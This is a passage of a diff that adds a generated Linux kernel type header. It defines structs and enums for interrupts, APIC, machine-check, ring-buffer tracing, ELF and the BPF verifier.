(*free)(struct fs_context *); + int (*dup)(struct fs_context *, struct fs_context *); + int (*parse_param)(struct fs_context *, struct fs_parameter *); + int (*parse_monolithic)(struct fs_context *, void *); + int (*get_tree)(struct fs_context *); + int (*reconfigure)(struct fs_context *); +}; + +struct fs_parse_result { + bool negated; + union { + bool boolean; + int int_32; + unsigned int uint_32; + u64 uint_64; + }; +}; + +struct trace_event_raw_initcall_level { + struct trace_entry ent; + u32 __data_loc_level; + char __data[0]; +}; + +struct trace_event_raw_initcall_start { + struct trace_entry ent; + initcall_t func; + char __data[0]; +}; + +struct trace_event_raw_initcall_finish { + struct trace_entry ent; + initcall_t func; + int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_initcall_level { + u32 level; +}; + +struct trace_event_data_offsets_initcall_start {}; + +struct trace_event_data_offsets_initcall_finish {}; + +typedef void (*btf_trace_initcall_level)(void *, const char *); + +typedef void (*btf_trace_initcall_start)(void *, initcall_t); + +typedef void (*btf_trace_initcall_finish)(void *, initcall_t, int); + +struct blacklist_entry { + struct list_head next; + char *buf; +}; + +struct io_bitmap { + u64 sequence; + refcount_t refcnt; + unsigned int max; + long unsigned int bitmap[1024]; +}; + +enum apic_delivery_modes { + APIC_DELIVERY_MODE_FIXED = 0, + APIC_DELIVERY_MODE_LOWESTPRIO = 1, + APIC_DELIVERY_MODE_SMI = 2, + APIC_DELIVERY_MODE_NMI = 4, + APIC_DELIVERY_MODE_INIT = 5, + APIC_DELIVERY_MODE_EXTINT = 7, +}; + +enum apic_intr_mode_id { + APIC_PIC = 0, + APIC_VIRTUAL_WIRE = 1, + APIC_VIRTUAL_WIRE_NO_CONFIG = 2, + APIC_SYMMETRIC_IO = 3, + APIC_SYMMETRIC_IO_NO_ROUTING = 4, +}; + +struct apic { + void (*eoi_write)(u32, u32); + void (*native_eoi_write)(u32, u32); + void (*write)(u32, u32); + u32 (*read)(u32); + void (*wait_icr_idle)(); + u32 (*safe_wait_icr_idle)(); + void (*send_IPI)(int, int); + void (*send_IPI_mask)(const struct cpumask *, int); + void (*send_IPI_mask_allbutself)(const struct cpumask *, int); + void (*send_IPI_allbutself)(int); + void (*send_IPI_all)(int); + void (*send_IPI_self)(int); + u32 disable_esr; + enum apic_delivery_modes delivery_mode; + bool dest_mode_logical; + u32 (*calc_dest_apicid)(unsigned int); + u64 (*icr_read)(); + void (*icr_write)(u32, u32); + int (*probe)(); + int (*acpi_madt_oem_check)(char *, char *); + int (*apic_id_valid)(u32); + int (*apic_id_registered)(); + bool (*check_apicid_used)(physid_mask_t *, int); + void (*init_apic_ldr)(); + void (*ioapic_phys_id_map)(physid_mask_t *, physid_mask_t *); + void (*setup_apic_routing)(); + int (*cpu_present_to_apicid)(int); + void (*apicid_to_cpu_present)(int, physid_mask_t *); + int (*check_phys_apicid_present)(int); + int (*phys_pkg_id)(int, int); + u32 (*get_apic_id)(long unsigned int); + u32 (*set_apic_id)(unsigned int); + int (*wakeup_secondary_cpu)(int, long unsigned int); + int (*wakeup_secondary_cpu_64)(int, long unsigned int); + void (*inquire_remote_apic)(int); + char *name; +}; + +struct irqentry_state { + union { + bool exit_rcu; + bool lockdep; + }; +}; + +typedef struct irqentry_state irqentry_state_t; + +enum xfeature { + XFEATURE_FP = 0, + XFEATURE_SSE = 1, + XFEATURE_YMM = 2, + XFEATURE_BNDREGS = 3, + XFEATURE_BNDCSR = 4, + XFEATURE_OPMASK = 5, + XFEATURE_ZMM_Hi256 = 6, + XFEATURE_Hi16_ZMM = 7, + XFEATURE_PT_UNIMPLEMENTED_SO_FAR = 8, + XFEATURE_PKRU = 9, + XFEATURE_PASID = 10, + XFEATURE_RSRVD_COMP_11 = 11, + XFEATURE_RSRVD_COMP_12 = 12, + XFEATURE_RSRVD_COMP_13 = 13, + XFEATURE_RSRVD_COMP_14 = 14, + XFEATURE_LBR = 15, + XFEATURE_RSRVD_COMP_16 = 16, + XFEATURE_XTILE_CFG = 17, + XFEATURE_XTILE_DATA = 18, + XFEATURE_MAX = 19, +}; + +struct membuf { + void *p; + size_t left; +}; + +struct user_regset; + +typedef int user_regset_active_fn(struct task_struct *, const struct user_regset *); + +typedef int user_regset_get2_fn(struct task_struct *, const struct user_regset *, struct membuf); + +typedef int user_regset_set_fn(struct task_struct *, const struct user_regset *, unsigned int, unsigned int, const void *, const void *); + +typedef int user_regset_writeback_fn(struct task_struct *, const struct user_regset *, int); + +struct user_regset { + user_regset_get2_fn *regset_get; + user_regset_set_fn *set; + user_regset_active_fn *active; + user_regset_writeback_fn *writeback; + unsigned int n; + unsigned int size; + unsigned int align; + unsigned int bias; + unsigned int core_note_type; +}; + +enum xstate_copy_mode { + XSTATE_COPY_FP = 0, + XSTATE_COPY_FX = 1, + XSTATE_COPY_XSAVE = 2, +}; + +struct mce { + __u64 status; + __u64 misc; + __u64 addr; + __u64 mcgstatus; + __u64 ip; + __u64 tsc; + __u64 time; + __u8 cpuvendor; + __u8 inject_flags; + __u8 severity; + __u8 pad; + __u32 cpuid; + __u8 cs; + __u8 bank; + __u8 cpu; + __u8 finished; + __u32 extcpu; + __u32 socketid; + __u32 apicid; + __u64 mcgcap; + __u64 synd; + __u64 ipid; + __u64 ppin; + __u32 microcode; + __u64 kflags; +}; + +typedef long unsigned int mce_banks_t[1]; + +enum severity_level { + MCE_NO_SEVERITY = 0, + MCE_DEFERRED_SEVERITY = 1, + MCE_UCNA_SEVERITY = 1, + MCE_KEEP_SEVERITY = 2, + MCE_SOME_SEVERITY = 3, + MCE_AO_SEVERITY = 4, + MCE_UC_SEVERITY = 5, + MCE_AR_SEVERITY = 6, + MCE_PANIC_SEVERITY = 7, +}; + +struct mca_config { + __u64 lmce_disabled: 1; + __u64 disabled: 1; + __u64 ser: 1; + __u64 recovery: 1; + __u64 bios_cmci_threshold: 1; + __u64 initialized: 1; + __u64 __reserved: 58; + bool dont_log_ce; + bool cmci_disabled; + bool ignore_ce; + bool print_all; + int monarch_timeout; + int panic_timeout; + u32 rip_msr; + s8 bootlog; +}; + +struct mce_vendor_flags { + __u64 overflow_recov: 1; + __u64 succor: 1; + __u64 smca: 1; + __u64 amd_threshold: 1; + __u64 p5: 1; + __u64 winchip: 1; + __u64 snb_ifu_quirk: 1; + __u64 skx_repmov_quirk: 1; + __u64 __reserved_0: 56; +}; + +struct mce_bank { + u64 ctl; + __u64 init: 1; + __u64 lsb_in_status: 1; + __u64 __reserved_1: 62; +}; + +enum context { + IN_KERNEL = 1, + IN_USER = 2, + IN_KERNEL_RECOV = 3, +}; + +enum ser { + SER_REQUIRED = 1, + NO_SER = 2, +}; + +enum exception { + EXCP_CONTEXT = 1, + NO_EXCP = 2, +}; + +struct severity { + u64 mask; + u64 result; + unsigned char sev; + unsigned char mcgmask; + unsigned char mcgres; + unsigned char ser; + unsigned char context; + unsigned char excp; + unsigned char covered; + unsigned char cpu_model; + unsigned char cpu_minstepping; + unsigned char bank_lo; + unsigned char bank_hi; + char *msg; +}; + +enum fixed_addresses { + VSYSCALL_PAGE = 511, + FIX_DBGP_BASE = 512, + FIX_EARLYCON_MEM_BASE = 513, + FIX_APIC_BASE = 514, + FIX_IO_APIC_BASE_0 = 515, + FIX_IO_APIC_BASE_END = 642, + __end_of_permanent_fixed_addresses = 643, + FIX_BTMAP_END = 1024, + FIX_BTMAP_BEGIN = 1535, + __end_of_fixed_addresses = 1536, +}; + +enum cc_attr { + CC_ATTR_MEM_ENCRYPT = 0, + CC_ATTR_HOST_MEM_ENCRYPT = 1, + CC_ATTR_GUEST_MEM_ENCRYPT = 2, + CC_ATTR_GUEST_STATE_ENCRYPT = 3, + CC_ATTR_GUEST_UNROLL_STRING_IO = 4, + CC_ATTR_GUEST_SEV_SNP = 5, + CC_ATTR_HOTPLUG_DISABLED = 6, +}; + +enum page_cache_mode { + _PAGE_CACHE_MODE_WB = 0, + _PAGE_CACHE_MODE_WC = 1, + _PAGE_CACHE_MODE_UC_MINUS = 2, + _PAGE_CACHE_MODE_UC = 3, + _PAGE_CACHE_MODE_WT = 4, + _PAGE_CACHE_MODE_WP = 5, + _PAGE_CACHE_MODE_NUM = 8, +}; + +enum { + SECTION_MARKED_PRESENT_BIT = 0, + SECTION_HAS_MEM_MAP_BIT = 1, + SECTION_IS_ONLINE_BIT = 2, + SECTION_IS_EARLY_BIT = 3, + SECTION_MAP_LAST_BIT = 4, +}; + +enum { + IORES_MAP_SYSTEM_RAM = 1, + IORES_MAP_ENCRYPTED = 2, +}; + +enum e820_type { + E820_TYPE_RAM = 1, + E820_TYPE_RESERVED = 2, + E820_TYPE_ACPI = 3, + E820_TYPE_NVS = 4, + E820_TYPE_UNUSABLE = 5, + E820_TYPE_PMEM = 7, + E820_TYPE_PRAM = 12, + E820_TYPE_SOFT_RESERVED = 4026531839, + E820_TYPE_RESERVED_KERN = 128, +}; + +struct e820_entry { + u64 addr; + u64 size; + enum e820_type type; +} __attribute__((packed)); + +struct e820_table { + __u32 nr_entries; + struct e820_entry entries[320]; +}; + +struct ioremap_desc { + unsigned int flags; +}; + +enum what { + PROC_EVENT_NONE = 0, + PROC_EVENT_FORK = 1, + PROC_EVENT_EXEC = 2, + PROC_EVENT_UID = 4, + PROC_EVENT_GID = 64, + PROC_EVENT_SID = 128, + PROC_EVENT_PTRACE = 256, + PROC_EVENT_COMM = 512, + PROC_EVENT_COREDUMP = 1073741824, + PROC_EVENT_EXIT = 2147483648, +}; + +enum { + IRQ_TYPE_NONE = 0, + IRQ_TYPE_EDGE_RISING = 1, + IRQ_TYPE_EDGE_FALLING = 2, + IRQ_TYPE_EDGE_BOTH = 3, + IRQ_TYPE_LEVEL_HIGH = 4, + IRQ_TYPE_LEVEL_LOW = 8, + IRQ_TYPE_LEVEL_MASK = 12, + IRQ_TYPE_SENSE_MASK = 15, + IRQ_TYPE_DEFAULT = 15, + IRQ_TYPE_PROBE = 16, + IRQ_LEVEL = 256, + IRQ_PER_CPU = 512, + IRQ_NOPROBE = 1024, + IRQ_NOREQUEST = 2048, + IRQ_NOAUTOEN = 4096, + IRQ_NO_BALANCING = 8192, + IRQ_MOVE_PCNTXT = 16384, + IRQ_NESTED_THREAD = 32768, + IRQ_NOTHREAD = 65536, + IRQ_PER_CPU_DEVID = 131072, + IRQ_IS_POLLED = 262144, + IRQ_DISABLE_UNLAZY = 524288, + IRQ_HIDDEN = 1048576, + IRQ_NO_DEBUG = 2097152, +}; + +enum { + IRQD_TRIGGER_MASK = 15, + IRQD_SETAFFINITY_PENDING = 256, + IRQD_ACTIVATED = 512, + IRQD_NO_BALANCING = 1024, + IRQD_PER_CPU = 2048, + IRQD_AFFINITY_SET = 4096, + IRQD_LEVEL = 8192, + IRQD_WAKEUP_STATE = 16384, + IRQD_MOVE_PCNTXT = 32768, + IRQD_IRQ_DISABLED = 65536, + IRQD_IRQ_MASKED = 131072, + IRQD_IRQ_INPROGRESS = 262144, + IRQD_WAKEUP_ARMED = 524288, + IRQD_FORWARDED_TO_VCPU = 1048576, + IRQD_AFFINITY_MANAGED = 2097152, + IRQD_IRQ_STARTED = 4194304, + IRQD_MANAGED_SHUTDOWN = 8388608, + IRQD_SINGLE_TARGET = 16777216, + IRQD_DEFAULT_TRIGGER_SET = 33554432, + IRQD_CAN_RESERVE = 67108864, + IRQD_MSI_NOMASK_QUIRK = 134217728, + IRQD_HANDLE_ENFORCE_IRQCTX = 268435456, + IRQD_AFFINITY_ON_ACTIVATE = 536870912, + IRQD_IRQ_ENABLED_ON_SUSPEND = 1073741824, +}; + +typedef irqreturn_t (*irq_handler_t)(int, void *); + +struct irqaction { + irq_handler_t handler; + void *dev_id; + void *percpu_dev_id; + struct irqaction *next; + irq_handler_t thread_fn; + struct task_struct *thread; + struct irqaction *secondary; + unsigned int irq; + unsigned int flags; + long unsigned int thread_flags; + long unsigned int thread_mask; + const char *name; + struct proc_dir_entry *dir; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct irq_affinity_notify { + unsigned int irq; + struct kref kref; + struct work_struct work; + void (*notify)(struct irq_affinity_notify *, const cpumask_t *); + void (*release)(struct kref *); +}; + +struct tasklet_struct { + struct tasklet_struct *next; + long unsigned int state; + atomic_t count; + bool use_callback; + union { + void (*func)(long unsigned int); + void (*callback)(struct tasklet_struct *); + }; + long unsigned int data; +}; + +enum { + TASKLET_STATE_SCHED = 0, + TASKLET_STATE_RUN = 1, +}; + +enum { + IRQS_AUTODETECT = 1, + IRQS_SPURIOUS_DISABLED = 2, + IRQS_POLL_INPROGRESS = 8, + IRQS_ONESHOT = 32, + IRQS_REPLAY = 64, + IRQS_WAITING = 128, + IRQS_PENDING = 512, + IRQS_SUSPENDED = 2048, + IRQS_TIMINGS = 4096, + IRQS_NMI = 8192, + IRQS_SYSFS = 16384, +}; + +enum { + _IRQ_DEFAULT_INIT_FLAGS = 0, + _IRQ_PER_CPU = 512, + _IRQ_LEVEL = 256, + _IRQ_NOPROBE = 1024, + _IRQ_NOREQUEST = 2048, + _IRQ_NOTHREAD = 65536, + _IRQ_NOAUTOEN = 4096, + _IRQ_MOVE_PCNTXT = 16384, + _IRQ_NO_BALANCING = 8192, + _IRQ_NESTED_THREAD = 32768, + _IRQ_PER_CPU_DEVID = 131072, + _IRQ_IS_POLLED = 262144, + _IRQ_DISABLE_UNLAZY = 524288, + _IRQ_HIDDEN = 1048576, + _IRQ_NO_DEBUG = 2097152, + _IRQF_MODIFY_MASK = 2096911, +}; + +struct xa_limit { + u32 max; + u32 min; +}; + +enum { + IRQ_SET_MASK_OK = 0, + IRQ_SET_MASK_OK_NOCOPY = 1, + IRQ_SET_MASK_OK_DONE = 2, +}; + +enum { + IRQCHIP_SET_TYPE_MASKED = 1, + IRQCHIP_EOI_IF_HANDLED = 2, + IRQCHIP_MASK_ON_SUSPEND = 4, + IRQCHIP_ONOFFLINE_ENABLED = 8, + IRQCHIP_SKIP_SET_WAKE = 16, + IRQCHIP_ONESHOT_SAFE = 32, + IRQCHIP_EOI_THREADED = 64, + IRQCHIP_SUPPORTS_LEVEL_MSI = 128, + IRQCHIP_SUPPORTS_NMI = 256, + IRQCHIP_ENABLE_WAKEUP_ON_SUSPEND = 512, + IRQCHIP_AFFINITY_PRE_STARTUP = 1024, + IRQCHIP_IMMUTABLE = 2048, +}; + +enum { + IRQ_DOMAIN_FLAG_HIERARCHY = 1, + IRQ_DOMAIN_NAME_ALLOCATED = 2, + IRQ_DOMAIN_FLAG_IPI_PER_CPU = 4, + IRQ_DOMAIN_FLAG_IPI_SINGLE = 8, + IRQ_DOMAIN_FLAG_MSI = 16, + IRQ_DOMAIN_FLAG_ISOLATED_MSI = 32, + IRQ_DOMAIN_FLAG_NO_MAP = 64, + IRQ_DOMAIN_FLAG_MSI_PARENT = 256, + IRQ_DOMAIN_FLAG_MSI_DEVICE = 512, + IRQ_DOMAIN_FLAG_NONCORE = 65536, +}; + +enum { + IRQCHIP_FWNODE_REAL = 0, + IRQCHIP_FWNODE_NAMED = 1, + IRQCHIP_FWNODE_NAMED_ID = 2, +}; + +struct msi_map { + int index; + int virq; +}; + +struct irq_affinity_desc { + struct cpumask mask; + unsigned int is_managed: 1; +}; + +enum msi_desc_filter { + MSI_DESC_ALL = 0, + MSI_DESC_NOTASSOCIATED = 1, + MSI_DESC_ASSOCIATED = 2, +}; + +struct msi_domain_template { + char name[48]; + struct irq_chip chip; + struct msi_domain_ops ops; + struct msi_domain_info info; +}; + +enum { + MSI_FLAG_USE_DEF_DOM_OPS = 1, + MSI_FLAG_USE_DEF_CHIP_OPS = 2, + MSI_FLAG_ACTIVATE_EARLY = 4, + MSI_FLAG_MUST_REACTIVATE = 8, + MSI_FLAG_DEV_SYSFS = 16, + MSI_FLAG_ALLOC_SIMPLE_MSI_DESCS = 32, + MSI_FLAG_FREE_MSI_DESCS = 64, + MSI_FLAG_NOMASK_QUIRK = 128, + MSI_GENERIC_FLAGS_MASK = 65535, + MSI_DOMAIN_FLAGS_MASK = 4294901760, + MSI_FLAG_MULTI_PCI_MSI = 65536, + MSI_FLAG_PCI_MSIX = 131072, + MSI_FLAG_LEVEL_CAPABLE = 262144, + MSI_FLAG_MSIX_CONTIGUOUS = 524288, + MSI_FLAG_PCI_MSIX_ALLOC_DYN = 1048576, + MSI_FLAG_PCI_IMS = 2097152, +}; + +struct msi_ctrl { + unsigned int domid; + unsigned int first; + unsigned int last; + unsigned int nirqs; +}; + +typedef struct { + seqcount_t seqcount; +} seqcount_latch_t; + +typedef __u64 Elf64_Off; + +struct elf64_hdr { + unsigned char e_ident[16]; + Elf64_Half e_type; + Elf64_Half e_machine; + Elf64_Word e_version; + Elf64_Addr e_entry; + Elf64_Off e_phoff; + Elf64_Off e_shoff; + Elf64_Word e_flags; + Elf64_Half e_ehsize; + Elf64_Half e_phentsize; + Elf64_Half e_phnum; + Elf64_Half e_shentsize; + Elf64_Half e_shnum; + Elf64_Half e_shstrndx; +}; + +typedef struct elf64_hdr Elf64_Ehdr; + +struct elf64_shdr { + Elf64_Word sh_name; + Elf64_Word sh_type; + Elf64_Xword sh_flags; + Elf64_Addr sh_addr; + Elf64_Off sh_offset; + Elf64_Xword sh_size; + Elf64_Word sh_link; + Elf64_Word sh_info; + Elf64_Xword sh_addralign; + Elf64_Xword sh_entsize; +}; + +typedef struct elf64_shdr Elf64_Shdr; + +struct latch_tree_root { + seqcount_latch_t seq; + struct rb_root tree[2]; +}; + +struct mod_tree_root { + struct latch_tree_root root; + long unsigned int addr_min; + long unsigned int addr_max; +}; + +enum tk_offsets { + TK_OFFS_REAL = 0, + TK_OFFS_BOOT = 1, + TK_OFFS_TAI = 2, + TK_OFFS_MAX = 3, +}; + +struct hrtimer_sleeper { + struct hrtimer timer; + struct task_struct *task; +}; + +enum tick_device_mode { + TICKDEV_MODE_PERIODIC = 0, + TICKDEV_MODE_ONESHOT = 1, +}; + +struct clock_event_device; + +struct tick_device { + struct clock_event_device *evtdev; + enum tick_device_mode mode; +}; + +struct softirq_action { + void (*action)(struct softirq_action *); +}; + +enum clock_event_state { + CLOCK_EVT_STATE_DETACHED = 0, + CLOCK_EVT_STATE_SHUTDOWN = 1, + CLOCK_EVT_STATE_PERIODIC = 2, + CLOCK_EVT_STATE_ONESHOT = 3, + CLOCK_EVT_STATE_ONESHOT_STOPPED = 4, +}; + +struct clock_event_device { + void (*event_handler)(struct clock_event_device *); + int (*set_next_event)(long unsigned int, struct clock_event_device *); + int (*set_next_ktime)(ktime_t, struct clock_event_device *); + ktime_t next_event; + u64 max_delta_ns; + u64 min_delta_ns; + u32 mult; + u32 shift; + enum clock_event_state state_use_accessors; + unsigned int features; + long unsigned int retries; + int (*set_state_periodic)(struct clock_event_device *); + int (*set_state_oneshot)(struct clock_event_device *); + int (*set_state_oneshot_stopped)(struct clock_event_device *); + int (*set_state_shutdown)(struct clock_event_device *); + int (*tick_resume)(struct clock_event_device *); + void (*broadcast)(const struct cpumask *); + void (*suspend)(struct clock_event_device *); + void (*resume)(struct clock_event_device *); + long unsigned int min_delta_ticks; + long unsigned int max_delta_ticks; + const char *name; + int rating; + int irq; + int bound_on; + const struct cpumask *cpumask; + struct list_head list; + struct module *owner; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum uts_proc { + UTS_PROC_ARCH = 0, + UTS_PROC_OSTYPE = 1, + UTS_PROC_OSRELEASE = 2, + UTS_PROC_VERSION = 3, + UTS_PROC_HOSTNAME = 4, + UTS_PROC_DOMAINNAME = 5, +}; + +enum ring_buffer_type { + RINGBUF_TYPE_DATA_TYPE_LEN_MAX = 28, + RINGBUF_TYPE_PADDING = 29, + RINGBUF_TYPE_TIME_EXTEND = 30, + RINGBUF_TYPE_TIME_STAMP = 31, +}; + +enum ring_buffer_flags { + RB_FL_OVERWRITE = 1, +}; + +struct ring_buffer_per_cpu; + +struct buffer_page; + +struct ring_buffer_iter { + struct ring_buffer_per_cpu *cpu_buffer; + long unsigned int head; + long unsigned int next_event; + struct buffer_page *head_page; + struct buffer_page *cache_reader_page; + long unsigned int cache_read; + u64 read_stamp; + u64 page_stamp; + struct ring_buffer_event *event; + int missed_events; +}; + +struct rb_irq_work { + struct irq_work work; + wait_queue_head_t waiters; + wait_queue_head_t full_waiters; + long int wait_index; + bool waiters_pending; + bool full_waiters_pending; + bool wakeup_full; +}; + +struct trace_buffer { + unsigned int flags; + int cpus; + atomic_t record_disabled; + cpumask_var_t cpumask; + struct lock_class_key *reader_lock_key; + struct mutex mutex; + struct ring_buffer_per_cpu **buffers; + struct hlist_node node; + u64 (*clock)(); + struct rb_irq_work irq_work; + bool time_stamp_abs; +}; + +enum { + RB_LEN_TIME_EXTEND = 8, + RB_LEN_TIME_STAMP = 8, +}; + +struct buffer_data_page { + u64 time_stamp; + local_t commit; + unsigned char data[0]; +}; + +struct buffer_page { + struct list_head list; + local_t write; + unsigned int read; + local_t entries; + long unsigned int real_end; + struct buffer_data_page *page; +}; + +struct rb_event_info { + u64 ts; + u64 delta; + u64 before; + u64 after; + long unsigned int length; + struct buffer_page *tail_page; + int add_timestamp; +}; + +enum { + RB_ADD_STAMP_NONE = 0, + RB_ADD_STAMP_EXTEND = 2, + RB_ADD_STAMP_ABSOLUTE = 4, + RB_ADD_STAMP_FORCE = 8, +}; + +enum { + RB_CTX_TRANSITION = 0, + RB_CTX_NMI = 1, + RB_CTX_IRQ = 2, + RB_CTX_SOFTIRQ = 3, + RB_CTX_NORMAL = 4, + RB_CTX_MAX = 5, +}; + +struct rb_time_struct { + local64_t time; +}; + +typedef struct rb_time_struct rb_time_t; + +struct ring_buffer_per_cpu { + int cpu; + atomic_t record_disabled; + atomic_t resize_disabled; + struct trace_buffer *buffer; + raw_spinlock_t reader_lock; + arch_spinlock_t lock; + struct lock_class_key lock_key; + struct buffer_data_page *free_page; + long unsigned int nr_pages; + unsigned int current_context; + struct list_head *pages; + struct buffer_page *head_page; + struct buffer_page *tail_page; + struct buffer_page *commit_page; + struct buffer_page *reader_page; + long unsigned int lost_events; + long unsigned int last_overrun; + long unsigned int nest; + local_t entries_bytes; + local_t entries; + local_t overrun; + local_t commit_overrun; + local_t dropped_events; + local_t committing; + local_t commits; + local_t pages_touched; + local_t pages_lost; + local_t pages_read; + long int last_pages_touch; + size_t shortest_full; + long unsigned int read; + long unsigned int read_bytes; + rb_time_t write_stamp; + rb_time_t before_stamp; + u64 event_stamp[5]; + u64 read_stamp; + long int nr_pages_to_update; + struct list_head new_pages; + struct work_struct update_pages_work; + struct completion update_done; + struct rb_irq_work irq_work; +}; + +enum { + BTF_KIND_UNKN = 0, + BTF_KIND_INT = 1, + BTF_KIND_PTR = 2, + BTF_KIND_ARRAY = 3, + BTF_KIND_STRUCT = 4, + BTF_KIND_UNION = 5, + BTF_KIND_ENUM = 6, + BTF_KIND_FWD = 7, + BTF_KIND_TYPEDEF = 8, + BTF_KIND_VOLATILE = 9, + BTF_KIND_CONST = 10, + BTF_KIND_RESTRICT = 11, + BTF_KIND_FUNC = 12, + BTF_KIND_FUNC_PROTO = 13, + BTF_KIND_VAR = 14, + BTF_KIND_DATASEC = 15, + BTF_KIND_FLOAT = 16, + BTF_KIND_DECL_TAG = 17, + BTF_KIND_TYPE_TAG = 18, + BTF_KIND_ENUM64 = 19, + NR_BTF_KINDS = 20, + BTF_KIND_MAX = 19, +}; + +struct btf_array { + __u32 type; + __u32 index_type; + __u32 nelems; +}; + +struct btf_member { + __u32 name_off; + __u32 type; + __u32 offset; +}; + +struct btf_param { + __u32 name_off; + __u32 type; +}; + +enum btf_func_linkage { + BTF_FUNC_STATIC = 0, + BTF_FUNC_GLOBAL = 1, + BTF_FUNC_EXTERN = 2, +}; + +struct btf_var_secinfo { + __u32 type; + __u32 offset; + __u32 size; +}; + +enum { + BPF_REG_0 = 0, + BPF_REG_1 = 1, + BPF_REG_2 = 2, + BPF_REG_3 = 3, + BPF_REG_4 = 4, + BPF_REG_5 = 5, + BPF_REG_6 = 6, + BPF_REG_7 = 7, + BPF_REG_8 = 8, + BPF_REG_9 = 9, + BPF_REG_10 = 10, + __MAX_BPF_REG = 11, +}; + +enum { + BPF_F_NO_PREALLOC = 1, + BPF_F_NO_COMMON_LRU = 2, + BPF_F_NUMA_NODE = 4, + BPF_F_RDONLY = 8, + BPF_F_WRONLY = 16, + BPF_F_STACK_BUILD_ID = 32, + BPF_F_ZERO_SEED = 64, + BPF_F_RDONLY_PROG = 128, + BPF_F_WRONLY_PROG = 256, + BPF_F_CLONE = 512, + BPF_F_MMAPABLE = 1024, + BPF_F_PRESERVE_ELEMS = 2048, + BPF_F_INNER_MAP = 4096, + BPF_F_LINK = 8192, + BPF_F_PATH_FD = 16384, +}; + +enum sk_action { + SK_DROP = 0, + SK_PASS = 1, +}; + +enum bpf_core_relo_kind { + BPF_CORE_FIELD_BYTE_OFFSET = 0, + BPF_CORE_FIELD_BYTE_SIZE = 1, + BPF_CORE_FIELD_EXISTS = 2, + BPF_CORE_FIELD_SIGNED = 3, + BPF_CORE_FIELD_LSHIFT_U64 = 4, + BPF_CORE_FIELD_RSHIFT_U64 = 5, + BPF_CORE_TYPE_ID_LOCAL = 6, + BPF_CORE_TYPE_ID_TARGET = 7, + BPF_CORE_TYPE_EXISTS = 8, + BPF_CORE_TYPE_SIZE = 9, + BPF_CORE_ENUMVAL_EXISTS = 10, + BPF_CORE_ENUMVAL_VALUE = 11, + BPF_CORE_TYPE_MATCHES = 12, +}; + +struct bpf_core_relo { + __u32 insn_off; + __u32 type_id; + __u32 access_str_off; + enum bpf_core_relo_kind kind; +}; + +struct __va_list_tag { + unsigned int gp_offset; + unsigned int fp_offset; + void *overflow_arg_area; + void *reg_save_area; +}; + +typedef __builtin_va_list va_list; + +typedef sockptr_t bpfptr_t; + +struct btf_id_set { + u32 cnt; + u32 ids[0]; +}; + +enum { + BTF_SOCK_TYPE_INET = 0, + BTF_SOCK_TYPE_INET_CONN = 1, + BTF_SOCK_TYPE_INET_REQ = 2, + BTF_SOCK_TYPE_INET_TW = 3, + BTF_SOCK_TYPE_REQ = 4, + BTF_SOCK_TYPE_SOCK = 5, + BTF_SOCK_TYPE_SOCK_COMMON = 6, + BTF_SOCK_TYPE_TCP = 7, + BTF_SOCK_TYPE_TCP_REQ = 8, + BTF_SOCK_TYPE_TCP_TW = 9, + BTF_SOCK_TYPE_TCP6 = 10, + BTF_SOCK_TYPE_UDP = 11, + BTF_SOCK_TYPE_UDP6 = 12, + BTF_SOCK_TYPE_UNIX = 13, + BTF_SOCK_TYPE_MPTCP = 14, + BTF_SOCK_TYPE_SOCKET = 15, + MAX_BTF_SOCK_TYPE = 16, +}; + +enum { + BTF_TRACING_TYPE_TASK = 0, + BTF_TRACING_TYPE_FILE = 1, + BTF_TRACING_TYPE_VMA = 2, + MAX_BTF_TRACING_TYPE = 3, +}; + +struct btf_struct_meta { + u32 btf_id; + struct btf_record *record; +}; + +struct bpf_verifier_log { + u64 start_pos; + u64 end_pos; + char *ubuf; + u32 level; + u32 len_total; + u32 len_max; + char kbuf[1024]; +}; + +struct bpf_subprog_info { + u32 start; + u32 linfo_idx; + u16 stack_depth; + bool has_tail_call; + bool tail_call_reachable; + bool has_ld_abs; + bool is_async_cb; +}; + +struct bpf_id_pair { + u32 old; + u32 cur; +}; + +struct backtrack_state { + struct bpf_verifier_env *env; + u32 frame; + u32 reg_masks[8]; + u64 stack_masks[8]; +}; + +struct bpf_verifier_stack_elem; + +struct bpf_verifier_state; + +struct bpf_verifier_state_list; + +struct bpf_insn_aux_data; + +struct bpf_verifier_env { + u32 insn_idx; + u32 prev_insn_idx; + struct bpf_prog *prog; + const struct bpf_verifier_ops *ops; + struct bpf_verifier_stack_elem *head; + int stack_size; + bool strict_alignment; + bool test_state_freq; + struct bpf_verifier_state *cur_state; + struct bpf_verifier_state_list **explored_states; + struct bpf_verifier_state_list *free_list; + struct bpf_map *used_maps[64]; + struct btf_mod_pair used_btfs[64]; + u32 used_map_cnt; + u32 used_btf_cnt; + u32 id_gen; + bool explore_alu_limits; + bool allow_ptr_leaks; + bool allow_uninit_stack; + bool bpf_capable; + bool bypass_spec_v1; + bool bypass_spec_v4; + bool seen_direct_write; + struct bpf_insn_aux_data *insn_aux_data; + const struct bpf_line_info *prev_linfo; + struct bpf_verifier_log log; + struct bpf_subprog_info subprog_info[257]; + struct bpf_id_pair idmap_scratch[600]; + struct { + int *insn_state; + int *insn_stack; + int cur_stack; + } cfg; + struct backtrack_state bt; + u32 pass_cnt; + u32 subprog_cnt; + u32 prev_insn_processed; + u32 insn_processed; + u32 prev_jmps_processed; + u32 jmps_processed; + u64 verification_time; + u32 max_states_per_insn; + u32 total_states; + u32 peak_states; + u32 longest_mark_read_walk; + bpfptr_t fd_array; + u32 scratched_regs; + u64 scratched_stack_slots; + u64 prev_log_pos; + u64 prev_insn_print_pos; + char tmp_str_buf[320]; +}; + +struct bpf_reference_state; + +struct bpf_stack_state; + +struct bpf_func_state { + struct bpf_reg_state regs[11]; + int callsite; + u32 frameno; + u32 subprogno; + u32 async_entry_cnt; + bool in_callback_fn; + struct tnum callback_ret_range; + bool in_async_callback_fn; + int acquired_refs; + struct bpf_reference_state *refs; + int allocated_stack; + struct bpf_stack_state *stack; +}; + +struct bpf_attach_target_info { + struct btf_func_model fmodel; + long int tgt_addr; + struct module *tgt_mod; + const char *tgt_name; + const struct btf_type *tgt_type; +}; + +enum bpf_jit_poke_reason { + BPF_POKE_REASON_TAIL_CALL = 0, +}; + +struct bpf_kfunc_desc { + struct btf_func_model func_model; + u32 func_id; + s32 imm; + u16 offset; + long unsigned int addr; +}; + +struct bpf_kfunc_desc_tab { + struct bpf_kfunc_desc descs[256]; + u32 nr_descs; +}; + +struct bpf_kfunc_btf { + struct btf 